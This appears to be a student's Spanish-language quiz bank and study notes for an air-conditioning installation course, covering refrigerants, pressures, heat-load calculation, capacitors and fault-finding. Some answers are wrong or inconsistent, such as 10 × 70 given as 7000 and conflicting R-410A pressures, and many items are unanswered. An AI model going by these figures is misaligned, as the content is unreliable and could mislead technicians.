- [ ] Detección de fugas flourescentes: Lo que debe hacer es simplemente agregar el agente fluorescente al sistema de acuerdo con una cierta proporción. Y después de que el sistema funcione durante 20 minutos, use anteojos especiales y brille el exterior del sistema con el detector de luz de fugas. Los puntos de fuga serán de color amarillo fluorescente.
- [ ] Detección de presión de gas: al utilizar la diferencia de presión entre el interior y el exterior del sistema, el sensor ampliará esta diferencia y expresará los resultados de la prueba en métodos como señal digital, de voz o electrónica.
- [ ] Detección de lámpara halógena: al sostener la lámpara halógena encendida cerca del sistema, el color de la llama se volverá azul púrpura cuando haya una fuga.
- [ ] Detector de fugas electrónico: método ha ocupado rápidamente el mercado gracais a su funcinoamiento fiable y preciso. Al mover la sonda contra los posibles lugares de fuga, el dispositivo dará una alerta cuando haya una fuga.
- [ ] Todas son correctas
### La presión del equipo cuando instalamos el equipo y liberamos el refrigerante lo que pasa es que se descompensa el equipo vuelve a 0 y vuelve a subir despacio la presión, eso significa que si nosotros tenemos una temperatura de 35 grados en un R-22 se va a ir a los 5 minutos a ...
- [x] Verdadoro
- [ ] Falso
### En un aparato de refrigerante R22 tengo una presión de 35 libras, que debe hacerse si en el caso de tener un R410?
- [ ] En el caso de un R22 puedo volver a recargar, si es un R410 tengo que tirar todo y volver a cargar el refrigerante, porque tiene el R410 tiene diferentes compuestos químicos entonces tengo que tirar.
### Si se conecta un equipo y se pone en marcha la presión del refrigerante va a bajar si es R-22 a 35 grados 25 minutos, la presión se estabilizará entre 57 a 60 psi a 35 grados, pero nosotros acá tenemos normalmente 45 grados o sea que la presión se irá a 65 PSI, por eso en invierno es recomendable dejar a 60 PSI en verano se nos va a ir , hay que dejar 45 o 60 psi. Si dejo 60 psi en verano se va a 80-90 psi, el motocompresor no aguantará.
- [x] Verdadoro
- [ ] Falso
### Se debe instalar una unidad condensadora que es mucho más alta que la unidad evaporadora superando los 3 metros de alto se debe realizar una trampa de aceite, se hace con el caño de succión (retorno). La línea de gas.
- [x] Verdadoro
- [ ] Falso
### Trato del cliente: Recomendable siempre pasar el presupuesto de mano de obra y materiales por el otro.
- [x] Verdadoro
- [ ] Falso
### La alimentación eléctrica al equipo NO incluye la instalación de la unidad: Yo no puedo instalar un equipo y también hacer un toma corriente, tengo que hacer otro presupuesto para hacer instalación eléctrica.
- [x] Verdadoro
- [ ] Falso
### Instalación de la unidad, capacidad si es o no para el ambiente, hay que hacer el cálculo del balance térmico, y como ubicar el equipo a 10 centímetros mínimo y 20 en el caso de que esté a una pared lateral, siempre aprovechando lo largo de la habitación.
- [ ] Estudiá bien calcular balance térmico porque te tomarán.
### ¿Qué refrigerantes conoce para aire acondicionado?
- [x] R-22,R-410A,R-32.
### Cuál es la diferencia entre R-22 y R-410a?
- [x] La presión con la que trabajan.
### ¿Cuáles son sus presiones para R-22?
- [x] Presión de baja: aproximadamente 60-70 psi, Presión de alta: aproximadamente 200-250 psi (Estas presiones pueden variar dependiendo de la temperatura del evaporador y del condensador).
### ¿Cuáles son sus presiones para R-410A?
- [ ] La presión del refrigerante R-410A en equipos actuales puede variar de 105 a 121 PSI en el lado de baja y alrededor de 380 PSI en el lado de alta.
### ¿Cuáles son sus presiones para R-32?
- [x] Es similar al R-410A pero trabaja a una presión más alta.
### ¿Qué distancia de caño como mínimo deben tener?
- [ ] La distancia mínima recomendada suele ser de 3 a 5 metros.
### Verificar cual es de los dos esquemas es el correcto: método de compresión diferentes y marcar cual es el correcto: mostraba el ciclo de refrigeración circulaba al motocompresor en forma de gas?? y marcar cual de los dos era el correcto (dimos en la 2da clase esto)
- [ ] Esto dijo en clase.
### Marcar lo que corresponde: Por cuál medimos el refrigerante? En el caso de correcto explicar su respuesta
- [ ] Capilar
- [ ] Retorno
- [ ] Válvula inversora
- [ ] Ninguna es correcta
- [ ] Correcta: es ninguna es correcta por el robinete, el robinete es la única manera de medir la compresión. Al menos que sea un aire de ventana y se tenga que colocar una válvula de servicio.
### Recuperador refrigerante
- [ ] Dato importante para investigar.
### El 410 no se puede encimar, son diferentes componentes si perdió un poco casi siempre va a perder la parte más liviana, la parte más pesada siempre se queda alojado pero quedará el pesado dentro del compresor, entonces quedará composición cuando tenga que chocarse para generar la reacción química no funcionará, rendirá poco porque tiene desparejas composiciones. Hay que tirar todo.
- [ ] Dato importante.
### El R-32 es inflamable
- [ ] Dato importante.
### 1. ¿Qué es el balance térmico en un recinto?
- [ ] Un cálculo para determinar la cantidad de frigorías necesarias para alcanzar la temperatura deseada.
- [ ] Un método para medir la humedad en el aire.
- [ ] Un procedimiento para limpiar el sistema de refrigeración.
- [ ] Una técnica de instalación de aires acondicionados.
### 2. ¿Cuál es la forma más exacta de realizar un balance térmico?
- [ ] Usar un cálculo manual simple.
- [ ] Utilizar un programa de computación que solicite diferentes datos del recinto.
- [ ] Hacer una estimación basada en la experiencia del técnico.
- [ ] Consultar con otros técnicos.
### 3. ¿Qué datos se deben ingresar en un programa de balance térmico?
- [ ] Solo la temperatura exterior.
- [ ] Dimensiones del recinto, color de paredes, cantidad de personas y aparatos electrónicos.
- [ ] Solo la cantidad de personas en el recinto.
- [ ] La marca del aire acondicionado.
### 4. En el cálculo rápido del balance térmico, ¿cuál es la constante que se multiplica por la superficie del recinto?
- [ ] 100
- [ ] 150
- [ ] 200
- [ ] 250
### 5. ¿Cuántas calorías genera aproximadamente una persona en un recinto?
- [ ] 50 calorías
- [ ] 70 calorías
- [ ] 100 calorías
- [ ] 150 calorías
### Balance térmico.
- [ ] Es el cálculo que se realiza para saber la cantidad de frigorías que necesita un recinto para llegar a la temperatura deseada. Hay varias formas de realizar un balance térmico, lo más exacto es bajar un programa o aplicación donde le pedirán diferentes datos, por ejemplo, tipo de techo, tipo de cielo raso, tipo paredes, ventanas ubicación cardinal (esto importa porque a veces el sol le da de mañana y de tarde a la habitación, constantemente está calentando las paredes), etc.
- [ ] Se saca la superficie de la habitación lado x lado: 5 x 5=25 metros cuadrados = m^2.
- [ ] Se lo multiplica por una constante de 200: 25 x 200 = 5000
- [ ] Sumamos cuántas personas, como máximo van a haber en ese lugar empelo 10 personas, se multiplica por 70 calorías por persona y nos da como resultado 7000 calorías.
- [ ] Se suma 5000 mas 7000 y nos da el resultado en frigorías.
- [ ] En ese momento es que entra el criterio del técnico con su experiencia que no es lo miso refrigerar un aula con 30 personas que un aula con 30 personas mas 30 computadoras.
- [x] Todas son correctas.
### 6. Si la altura de una habitación supera los 2,6 metros, ¿cómo se debe calcular el balance térmico?
- [ ] Usar solo la superficie del suelo.
- [x] Multiplicar el volumen total por una constante diferente.
- [ ] No es necesario calcularlo.
- [ ] Usar solo la altura máxima del techo.
- [x] Este cálculo se realiza cuando la habitación tiene una altura normal de 2,60 metros. Si se supera esta altura se toma por metro cúbico lado x lado x altura (la altura se toma por la parte más alta de la habitación) por 60 y al resultado se le agrega la cantidad de personas que hay en la habitación.
### 7. ¿Qué aspecto es fundamental considerar al realizar el balance térmico según el criterio del técnico?
- [ ] La cantidad de ventanas en el recinto.
- [ ] La cantidad y tipo de aparatos electrónicos presentes.
- [ ] El color de las paredes.
- [ ] La ubicación geográfica del edificio.
### 1. ¿Por qué caño se debe cargar el refrigerante en un sistema de aire acondicionado?
- [ ] Caño de alta presión
- [ ] Caño de baja presión
- [ ] Caño de desagüe
- [ ] Caño de retorno
### 2. ¿Cuál es la función principal del caño de baja presión en un sistema de aire acondicionado?
- [ ] Transportar refrigerante en estado líquido
- [ ] Permitir el retorno del aceite al compresor
- [ ] Facilitar la carga de refrigerante en estado gaseoso
- [ ] Conectar el evaporador con el condensador
### 3. Si se conecta la manguera del manómetro, ¿qué caño se debe utilizar para cargar refrigerante?
- [ ] Caño de alta presión
- [ ] Caño de baja presión
- [ ] Caño de drenaje
- [ ] Caño de succión
### 4. ¿Qué debe hacerse antes de cargar refrigerante en un sistema?
- [ ] Encender el equipo
- [ ] Apagar y desconectar el equipo
- [ ] Limpiar las unidades interior y exterior
- [ ] Verificar la temperatura ambiente
### 5. Si la distancia entre las unidades interior y exterior es superior a 8 metros, ¿qué se recomienda hacer?
- [ ] No hacer nada, la distancia no afecta
- [ ] Instalar trampas de aceite en la línea de retorno (caño de succión) o línea de gas.
- [ ] Cambiar el tipo de refrigerante
- [ ] Utilizar un caño más delgado
### 1. ¿Con qué unidad se mide la presión de un refrigerante en un manómetro?
- [ ] Kilogramos
- [ ] Litros
- [ ] Bares, pascales o psi
- [ ] Grados Celsius
### 2. ¿Qué elemento en un manómetro cambia cuando se aplica presión?
- [ ] La temperatura
- [ ] La resistencia eléctrica
- [ ] Alguna propiedad física del elemento del manómetro
- [ ] La densidad del refrigerante
### 3. ¿Qué indica la aguja de un manómetro?
- [ ] La temperatura del refrigerante
- [ ] La presión en el interior del circuito
- [ ] La cantidad de refrigerante en el sistema
- [ ] El estado del compresor
### 4. ¿Qué escala se utiliza comúnmente en los manómetros para medir la presión?
- [ ] Solo la escala en litros
- [ ] Escalas en grados y milímetros
- [ ] Escalas en bares y psi
- [ ] Escalas en amperios y voltios
### 5. ¿Qué significa una precisión de "3-2-3" en un manómetro?
- [ ] Precisión del 3% en todo el rango de medición
- [ ] Precisión de ±3% en el último tercio inferior y ±2% en el tercio medio
- [ ] Precisión perfecta sin error
- [ ] No tiene relación con la precisión
### 6. ¿Cuál es una función importante de los manómetros en sistemas industriales?
- [ ] Controlar la temperatura del refrigerante
- [ ] Medir la presión para identificar amenazas de seguridad
- [ ] Regular el flujo de aire
- [ ] Limpiar el sistema de refrigeración
### 1. ¿Qué herramienta es esencial para buscar fugas de refrigerante?
- [ ] Termómetro
- [ ] Manómetro
- [ ] Detector de fugas
- [ ] Multímetro
### 2. ¿Cuál es la función principal de un manómetro en el contexto de refrigerantes?
- [ ] Medir la temperatura del refrigerante
- [ ] Medir la presión en el interior del circuito
- [ ] Controlar el flujo de aire
- [ ] Limpiar el sistema de refrigeración
### 3. ¿Qué tipo de manómetro se utiliza comúnmente para medir la presión de refrigerantes?
- [ ] Manómetro diferencial
- [ ] Manómetro digital
- [ ] Manómetro analógico
- [ ] Todos los anteriores
### 4. ¿Qué indica una lectura alta en el manómetro durante la búsqueda de fugas?
- [ ] Que el sistema está funcionando correctamente
- [ ] Que hay una fuga significativa en el sistema
- [ ] Que el sistema está sobrecargado de refrigerante
- [ ] Que el compresor está dañado
### 5. ¿Por qué es importante detectar fugas en un sistema de refrigeración?
- [ ] Para aumentar la eficiencia del sistema
- [ ] Para evitar daños al compresor y otros componentes
- [ ] Para reducir el consumo energético
- [ ] Todas las anteriores
### 1. ¿Qué herramienta es esencial para buscar fugas de refrigerante?
- [ ] Termómetro
- [ ] Manómetro
- [ ] Detector de fugas
- [ ] Multímetro
### 2. ¿Cómo se utiliza un detector de fugas para encontrar fugas en un sistema de refrigeración?
- [ ] Se mide la temperatura del refrigerante.
- [ ] Se aplica el detector en las conexiones y tuberías del sistema.
- [ ] Se conecta al compresor.
- [ ] Se utiliza para medir la presión del sistema.
### 3. ¿Qué indica una fuga de refrigerante en un sistema de aire acondicionado?
- [ ] Que el sistema está funcionando correctamente.
- [ ] Que hay una acumulación de aceite en el evaporador.
- [ ] Que el rendimiento del sistema disminuirá y puede causar daños.
- [ ] Que el compresor está sobrecargado.
### 4. ¿Cuál es un signo común de que hay una fuga de refrigerante en el sistema?
- [ ] Aumento en la presión del manómetro
- [ ] Ruido excesivo del compresor
- [ ] Disminución en la capacidad de enfriamiento
- [ ] Temperatura baja en el condensador
### 5. Además del detector de fugas, ¿qué otra herramienta puede ser útil para verificar la presión del sistema?
- [ ] Termómetro digital
- [ ] Manómetro
- [ ] Higrómetro
- [ ] Calibrador
## El evaporador se encuentra:
> Some hint
- [x] En la unidad interior.
- [ ] En la unidad exterior.
## Al instalar un equipo ¿de qué forma deben estar los robinetes?
> Todas son correctas.
- [x] Abierto.
- [ ] Cerrado.
### 9. Si solo arranca el forzador en una unidad condensadora, ¿qué debo revisar primero?
- [ ] El termostato
- [ ] La alimentación eléctrica al compresor
- [ ] El filtro de aire
- [ ] La válvula de expansión
### 10. ¿Cuáles son los componentes principales de una unidad condensadora?
- [ ] Compresor, condensador y ventilador
- [ ] Evaporador, válvula de expansión y filtro
- [ ] Termostato, sensor y bomba
- [ ] Ninguna de las anteriores
## Describa los procedimientos para la instalación de un aire acondicionado split.
> Todas son correctas.
- [ ] Fijate lo que dice tu carpeta XD
### 1. Si conecto un aire acondicionado split y no me da ninguna señal, ¿qué debo revisar primero?
- [x] Revisar la pila del control. Está MAL esta respuesta porque todos los equipos se pueden prender sin control. Lo primero que tenés que revisar es la alimentación, y si hay alimentación hay que revisar si llega alimentación a la placa.
- [ ] La temperatura del refrigerante
- [ ] La conexión eléctrica y el suministro de energía
- [ ] El filtro de aire
- [ ] El nivel de refrigerante en el sistema
### 2. ¿Cuál podría ser una causa si la unidad no enciende después de la conexión?
- [ ] El compresor está funcionando correctamente
- [ ] El disyuntor está desconectado o el fusible está quemado
- [ ] La temperatura ambiente es demasiado alta
- [ ] El termostato está configurado correctamente
### 3. Si la unidad no da señal, ¿qué componente eléctrico debería verificar?
- [ ] El motor del ventilador
- [ ] El sensor de temperatura
- [ ] Las conexiones eléctricas y el cableado
- [ ] La válvula de expansión
### 4. ¿Qué acción se recomienda si se sospecha que el problema es eléctrico?
- [ ] Limpiar los filtros
- [ ] Revisar el voltaje del aparato y las conexiones
- [ ] Cambiar el refrigerante
- [ ] Ajustar el termostato
### 5. Si después de revisar las conexiones eléctricas la unidad sigue sin encender, ¿cuál es el siguiente paso?
- [ ] Reemplazar el compresor
- [ ] Consultar a un técnico especializado
- [ ] Limpiar la unidad exterior
- [ ] Cambiar los filtros de aire
### ¿Qué tipo de alambre se utiliza en el bobinado del compresor?
- [ ] Alambre de aluminio
- [ ] Alambre de cobre aislado
- [ ] Alambre de acero
- [ ] Alambre de bronce
### ¿Cuál es la función principal de la bobina de arranque en el compresor?
- [ ] Proporcionar trabajo constante
- [ ] Arrancar el motor y luego desconectarse
- [ ] Mantener el compresor encendido
- [ ] Aumentar la resistencia del compresor
### ¿Qué indica una resistencia de 0 entre los bornes del compresor y la carcasa?
- [ ] El compresor está en buen estado
- [ ] El compresor está aterrizado
- [ ] La bobina está funcionando correctamente
- [ ] El capacitor de marcha está dañado
### ¿Cómo se identifica la línea de arranque y trabajo en un compresor?
- [ ] Por el color del alambre
- [ ] Mediante la disposición de los bornes y sus resistencias
- [ ] Por el tamaño del capacitor
- [ ] Por el tipo de refrigerante utilizado
### ¿Qué sucede si el capacitor de marcha se daña?
- [ ] El compresor sigue funcionando normalmente
- [ ] El compresor no logra encender
- [ ] El compresor se sobrecalienta
- [ ] El capacitor se desconecta automáticamente
### ¿Cuál es el rango típico de microfaradios para los capacitores de marcha?
- [ ] 100-120 microfaradios
- [ ] 80-85 microfaradios
- [ ] 50-60 microfaradios
- [ ] 30-40 microfaradios
### ¿Qué color suelen tener los capacitores de marcha?
- [ ] Negro y rojo
- [ ] Blanco, gris claro o metálico
- [ ] Azul y verde
- [ ] Amarillo y naranja
### ¿Qué se debe hacer si al probar un compresor no marca resistencia?
- [ ] Cambiar el capacitor de marcha
- [ ] Cambiar el compresor
- [ ] Revisar los bornes nuevamente
- [ ] Limpiar los contactos eléctricos
## En un aparato con refrigerante 22 tengo una presión de 35 lbs. ¿Qué debo hacer y en uno con refrigerante 410?
- [ ] Presión de alta: La presión de alta para R-410A suele estar entre 300 y 400 psi (libras por pulgada cuadrada) durante el funcionamiento normal. Presión de baja: La presión de baja generalmente se encuentra entre 30 y 40 psi. Si la presión es demasiado baja: Verifica si hay fugas en el sistema. Asegúrate de que el nivel de refrigerante sea adecuado. Revisa el estado del compresor y otros componentes eléctricos. Si la presión es demasiado alta: Apaga el sistema y verifica si hay obstrucciones en las líneas. Revisa el condensador para asegurarte de que esté limpio y funcionando correctamente. Asegúrate de que no haya sobrecarga de refrigerante.
### 1. Si en una unidad condensadora arranca solo el forzador, ¿qué es lo primero que debes revisar?
- [ ] La temperatura del refrigerante
- [ ] El suministro eléctrico y las conexiones
- [ ] El filtro de aire
- [ ] El nivel de refrigerante
### 2. ¿Cuál podría ser una causa si el compresor no arranca mientras el forzador sí?
- [ ] El compresor está funcionando correctamente
- [ ] El capacitor del forzador está dañado
- [ ] Hay un problema en el cableado o en el protector térmico
- [ ] La unidad está demasiado fría
### 3. Si el forzador funciona pero el compresor no arranca, ¿qué componente eléctrico deberías verificar?
- [ ] El termostato
- [ ] La válvula de expansión
- [ ] El capacitor del compresor
- [ ] El sensor de temperatura
### 4. ¿Qué acción se recomienda si se sospecha que el problema es eléctrico?
- [ ] Limpiar los filtros del aire acondicionado
- [ ] Revisar el voltaje y las conexiones eléctricas del compresor
- [ ] Cambiar el refrigerante
- [ ] Ajustar la temperatura del termostato
### 5. Si después de revisar las conexiones eléctricas la unidad sigue sin encender, ¿cuál es el siguiente paso?
- [ ] Reemplazar el compresor
- [ ] Consultar a un técnico especializado
- [ ] Limpiar la unidad exterior
- [ ] Cambiar los filtros de aire
## Si en una unidad condensadora arranca solo el forzador ¿qué debo revisar?
- [x] Averigua
## ¿Cuáles son los componentes de una unidad condensadora y qué función cumplen?
> Causa: Acumulación de polvo o un motor defectuoso, falta de lubricación, internas dañadas, como rodamientos o el mismo eje, esto puede causar fricción excesiva y eventual bloqueo del ventilador. Fallo en componentes eléctricos, como el capacitor del motor, puede hacer que el ventilador no arranque correctamente o se detenga después de un corto tiempo. Deformación del Buje: Con el uso y la exposición al calor, el buje puede deformarse, lo que reduce el espacio entre él y el eje. Esto provoca un bloqueo que impide que el ventilador gire. Solución: Limpiar el ventilador y verificar el motor. Limpiar y Lubricar: Limpiar cualquier residuo acumulado y aplicar un lubricante adecuado puede ayudar a restaurar la funcionalidad del ventilador. Reemplazar Componentes Dañados: Si se identifica desgaste en los bujes o ejes, es recomendable reemplazarlos para evitar futuros problemas.
- [x] Acumulación de polvo en las aspas. Se gasta el buje capacitor. Solución: Limpiar las aspas del ventilador.
- [x] El motor está sobrecalentado. Solución: Dejar enfriar el motor antes de usarlo nuevamente.
- [x] El cable de alimentación está dañado. Solución: Reemplazar el cable de alimentación.
- [x] El interruptor está defectuoso. Solución: Cambiar el interruptor por uno nuevo.
- [x] Deformación del Buje: Con el uso y la exposición al calor, el buje puede deformarse
### 1. ¿Cuál es una de las principales causas de que se congele la unidad evaporadora?
- [ ] Suministro adecuado de refrigerante
- [ ] Filtros de aire limpios
- [ ] Obstrucción en la línea de drenaje
- [ ] Falta de flujo de aire adecuado
### 2. Si el evaporador se congela, ¿qué componente deberías revisar primero?
- [ ] La temperatura exterior
- [ ] Los filtros de aire
- [ ] El termostato
- [ ] La unidad condensadora
### 3. ¿Qué efecto puede tener un nivel bajo de refrigerante en el sistema?
- [ ] Mejora el rendimiento del sistema
- [ ] Puede causar que el evaporador se congele
- [ ] No afecta el funcionamiento del aire acondicionado
- [ ] Aumenta la presión en el condensador
### 4. ¿Qué puede provocar una acumulación excesiva de humedad en el sistema?
- [ ] Un diseño adecuado de tuberías
- [ ] Contaminación en el sistema
- [ ] Un termostato bien calibrado
- [ ] Filtros de aire limpios
### 5. Si la unidad evaporadora se congela, ¿qué acción inmediata deberías tomar?
- [ ] Apagar el sistema y permitir que se descongele
- [ ] Recargar refrigerante sin verificar otros componentes
- [ ] Limpiar los filtros y reiniciar el sistema
- [ ] Cambiar el compresor inmediatamente
## ¿Por qué se congela la unidad evaporadora?
- [x] Averigua porque te toman
### 1. Si cae agua del evaporador, ¿cuál puede ser una causa común?
- [ ] Obstrucción en la línea de drenaje
- [ ] Fugas en el compresor
- [ ] Temperatura exterior demasiado alta
- [ ] Filtros de aire limpios
### 2. ¿Qué problema puede causar que el evaporador se congele y luego gotee agua?
- [ ] Filtro de aire limpio
- [ ] Fuga de refrigerante
- [ ] Alta presión en el sistema
- [ ] Bajo nivel de ruido del compresor
### 3. Si el agua que cae del evaporador es excesiva, ¿qué componente deberías revisar primero?
- [ ] El termostato
- [ ] La línea de drenaje
- [ ] El compresor
- [ ] Los filtros de aire
### 4. ¿Qué acción se recomienda si hay obstrucción en la línea de drenaje?
- [ ] Limpiar el filtro de aire
- [ ] Desconectar la unidad y limpiar la línea de drenaje
- [ ] Aumentar la temperatura del termostato
- [ ] Cambiar el refrigerante
### 5. Si los filtros de aire están sucios, ¿qué efecto puede tener en el evaporador?
- [ ] Mejora el flujo de aire
- [ ] Reduce la eficiencia y puede causar condensación excesiva
- [ ] No tiene efecto en el sistema
- [ ] Aumenta la presión del refrigerante
### 1. ¿Cuál es el capacitor de marcha recomendado para un equipo de 6000 frigorías?
- [ ] 20 µF
- [ ] 30 µF
- [ ] 40 µF
- [ ] 50 µF
### 2. ¿Qué función cumple el capacitor de marcha en un aire acondicionado?
- [ ] Aumentar la presión del refrigerante
- [ ] Proporcionar energía adicional al compresor durante su funcionamiento
- [ ] Regular la temperatura del aire
- [ ] Filtrar el aire en la unidad
### 3. Si el capacitor de marcha es demasiado bajo para un equipo de 6000 fg, ¿qué problema puede ocurrir?
- [ ] El compresor puede no arrancar o funcionar ineficientemente
- [ ] Aumentará la capacidad de enfriamiento del equipo
- [ ] No habrá ningún efecto en el funcionamiento del sistema
- [ ] El aire acondicionado funcionará más silenciosamente
### 4. ¿Qué podría suceder si se utiliza un capacitor de marcha que excede la capacidad recomendada para un equipo de 6000 fg?
- [ ] El sistema funcionará mejor
- [ ] Puede dañar el compresor o provocar un fallo eléctrico
- [ ] Mejorará la eficiencia energética
- [ ] No tendrá ningún impacto en el rendimiento
### 5. ¿Por qué es importante verificar el valor del capacitor de marcha antes de instalarlo en un aire acondicionado?
- [ ] Para asegurar que el sistema esté correctamente refrigerado
- [ ] Para evitar daños al compresor y asegurar un funcionamiento eficiente
- [ ] Para aumentar la duración del filtro de aire
- [ ] Para reducir el consumo eléctrico del sistema
## Un equipo de 6000 fg. ¿De cuánto es el capacitor de marcha que debe llevar?
- [x] Averigua toman
## ¿Cómo me doy cuenta si no tengo una etiqueta que lo distinga, de qué tipo de refrigerante es un aire acondicionado?
- [x] Creo que era por los robinetes si entraba el manómetro una cosa así XD...
## Marque el diagrama correcto.
- [x] Despues pongo imagen
## Dibuje un diagrama de conexiones de una unidad condensadora con capacitor combinado.
- [x] Dibujá
## Describa el procedimiento que hay que realizar en el caso que un equipo no tiene refrigerante.
- [ ] Averigua
## Detecte en el siguiente esquema: la línea, arranque y trabajo.
- [x] Después pongo imágen.
## Balance térmico qué trabaja la presión? En PSI
- [x] No sé
## Indicar cuál ciclo de refrigeración es el correcto y explicar por qué es el correcto.
- [x] Esta pregunta tiro en clase.
## Practicar constante, balance térmico, introducción refrigeración: amoníaco.
- [ ] Lee sobre eso
## En un ambiente de 5 metros por 4 metros por metro de alto donde va a haber 15 personas como máximo, ¿cuántas frigorías necesita para llegar a la temperatura deseada?
- [ ] Anda a saber
## Si tenemos un ambiente para refrigerar 8 x 5, ¿de cuánto BTU necesita ser mi equipo?
- [x] Anda a saber
## Cuáles son las formas hay de transferir calor?
> Todas
- [ ] convección, radiación o conducción
## Si en una unidad condensadora arranca solo el forzador, ¿qué debo revisar?
- [ ] Fijate
## Dibuje un diagrama con un capacitor combinado y un diagrama con capacitor individual.
- [ ] Fijate
## ¿Qué refrigerante conoce para aire acondicionado?. ¿Cuáles son sus presiones para cada tipo y que distancia de caño como mínimo de caño debe tener?
- [ ] R22,R410A,R32,3 METROS, R22: BAJA: 60 70 PSI ALTA: 230 PSI. R410A: BAJA: 105-121 PSI. ALTA: 350-380 PSI. R32: BAJA: 120 - 140. ALTA: 350 - 450.
### 1. ¿Cuál es una de las principales ventajas de un sistema de aire acondicionado inverter en comparación con uno convencional?
- [ ] Menor costo inicial
- [ ] Mayor eficiencia energética
- [ ] Menor ruido del compresor
- [ ] Requiere menos mantenimiento
### 2. ¿Cómo funciona el compresor en un sistema inverter?
- [ ] A velocidad constante, encendiéndose y apagándose
- [ ] A velocidad variable, ajustándose según la demanda de refrigeración
- [ ] Solo se activa cuando la temperatura es extremadamente alta
- [ ] Funciona únicamente en modo calefacción
### 3. ¿Qué efecto tiene un sistema convencional en la temperatura ambiente?
- [ ] Mantiene una temperatura constante sin fluctuaciones
- [ ] Puede causar fluctuaciones bruscas en la temperatura al encenderse y apagarse
- [ ] Siempre enfría más rápido que un sistema inverter
- [ ] No afecta la temperatura ambiente
### 4. En términos de ruido, ¿cómo se comparan los sistemas inverter con los convencionales?
- [ ] Los sistemas convencionales son más silenciosos
- [ ] Los sistemas inverter son generalmente más silenciosos
- [ ] Ambos son igualmente ruidosos
- [ ] Los sistemas inverter son más ruidosos
### 5. ¿Cuál es una desventaja común de los sistemas de aire acondicionado convencionales?
- [ ] Son más costosos de operar a largo plazo
- [ ] Tienen un costo inicial más bajo
- [ ] Son más eficientes energéticamente que los sistemas inverter
- [ ] No requieren mantenimiento
## ¿Cuál es la diferencia entre inverter y convencional?
- [ ] Averigua
## Una placa vale 50.000 pesos. Es recomendable comprar una placa porque en el examen tenemos 15 minutos para armarla y desarmarla. Tenemos 2 horas de clase y vamos a ir pasando de a 4 independientemente, vamos a tener 1 equipo para cada uno, todo desarmado.
- [ ] Compra
## En un ambiente de 5 metros por 4 metros por metro de alto donde va a haber 15 personas como máximo, ¿cuántas frigorías necesita para llegar a la temperatura deseada?
- [ ] Averigua balance térmico
## Practicar constante, balance térmico, introducción refrigeración, amoníaco, transferencia de calor.
- [ ] Practica
### Fin de página1. Inicio pagina2: ¿Cuál es el elemento fundamental en un sistema de refrigeración por compresión y transmisión por una masa gaseosa y líquida?
- [ ] Agua
- [ ] Aire
- [ ] Hielo
- [ ] Amoniaco
### ¿Cuál es el límite máximo de temperatura que se puede alcanzar al agregar hielo a una conservadora?
- [ ] 5 grados Celsius
- [ ] 0 grados Celsius
- [ ] -10 grados Celsius
- [ ] -28 grados Celsius
### 3. ¿Cómo se llama el método que se utilizó en los primeros experimentos de refrigeración artificial en 1830?
- [ ] Compresión
- [ ] Evaporación
- [ ] Condensación
- [ ] Absorción
### 4. ¿Cuál fue la sustancia que se utilizó en los primeros experimentos de refrigeración artificial en 1830?
- [ ] Agua
- [ ] Aire
- [ ] Hielo
- [ ] Amoniaco
### ¿Qué práctica representa el método utilizado en los experimentos de refrigeración artificial en 1830?
- [ ] La compresión es un proceso en el que una sustancia se comprime para aumentar su temperatura y presión.
- [ ] La evaporación es el proceso por el cual una sustancia pasa de la fase líquida a la gaseosa debido al calor.
- [ ] La condensación es el proceso por el cual una sustancia pasa de la fase gaseosa a la líquida debido al enfriamiento.
- [ ] La absorción es un proceso en el cual una sustancia se disuelve en otra.
### ¿Qué hace el amoniaco en un recipiente?
- [ ] Aumenta la temperatura
- [ ] Absorbe el calor
- [ ] No hace nada
- [ ] Cambia de estado
### ¿Qué efecto tiene el amoniaco en la temperatura interna del recipiente y los elementos que se encuentran dentro?
- [ ] Aumenta la temperatura
- [ ] Mantiene la temperatura constante
- [ ] Reduce la temperatura
- [ ] No afecta la temperatura
### ¿Cuál es el poder frigorífico del amoniaco según el texto?
- [ ] 10 C
- [ ] 20 C
- [ ] 28 C
- [ ] -28 C
### ¿Cuál es el resultado de usar amoniaco como refrigerante en un experimento de laboratorio?
- [ ] Aumenta la temperatura de los elementos
- [ ] Mantienen la temperatura constante
- [ ] Bajan la temperatura de los elementos por debajo de cero grados
- [ ] No hay ningún resultado específico
### ¿Cuál es la desventaja del uso de amoniaco como refrigerante en un experimento de laboratorio?
- [ ] Es muy seguro
- [ ] Es fácil de obtener
- [ ] Los gases liberados son tóxicos
- [ ] Es muy barato
### ¿Cuál es la función del compresor en el sistema de refrigeración?
- [ ] Generar efecto de válvula de expansión
- [ ] Comprimir el gas en estado gaseoso
- [ ] Liberar presión al gas refrigerante
- [ ] Distribuir el flujo de aire refrigerado
### ¿Cuál es la función de la válvula de expansión en el sistema de refrigeración?
- [ ] Generar efecto contrario a la válvula de expansión
- [ ] Comprimir el gas en estado gaseoso
- [ ] Liberar la presión al gas refrigerante para pasar de estado líquido a gaseoso
- [ ] Distribuir el flujo de aire refrigerado
### ¿En qué parte del sistema de refrigeración se produce el proceso de extracción del aire caliente?
- [ ] En la unidad exterior
- [ ] En la unidad interior (Split)
- [ ] En el compresor
- [ ] En la válvula de expansión
### ¿Cuál es el propósito del condensador en el sistema de refrigeración?
- [ ] Generar efecto contrario al compresor
- [ ] Comprimir el gas en estado gaseoso
- [ ] Evacuar el aire caliente expulsado por la unidad interior
- [ ] Distribuir el flujo de aire refrigerado
### ¿En qué unidad del sistema de refrigeración se encuentra el ventilador que distribuye el flujo de aire refrigerado?
- [ ] En la unidad exterior
- [ ] En la unidad interior (Split)
- [ ] En el compresor
- [ ] En la válvula de expansión
### ¿Cuál es el propósito del sistema de refrigeración por el método de compresión?
- [ ] Calentar los gases
- [ ] Recuperar los gases y transformarlos nuevamente en líquido
- [ ] Desperdiciar energía
- [ ] Aumentar las pérdidas de gases
### ¿En qué dispositivos se utiliza el sistema de refrigeración por el método de compresión?
- [ ] Heladeras, aire acondicionado, cámaras frigoríficas
- [ ] Calderas, estufas, secadoras
- [ ] Motores de combustión interna, turbinas a gas
- [ ] Baterías de ion-litio, paneles solares
### ¿A qué se adapta el sistema de refrigeración por el método de compresión?
- [ ] Únicamente a heladeras
- [ ] Únicamente a aire acondicionado
- [ ] A cualquier dispositivo de refrigeración
- [ ] A ningún otro sistema diferente al de aire acondicionado
### Si esta descripción se refiere al componente "Compressor", el texto indica que:
- [ ] Asegura un flujo adecuado de combustible y aire hacia el motor.
- [ ] Aisla el fluido refrigerante en el circuito de aire acondicionado.
- [ ] Aspira un lado y comprime por el otro.
- [ ] Regula la cantidad de aire refrigerado en la habitación.
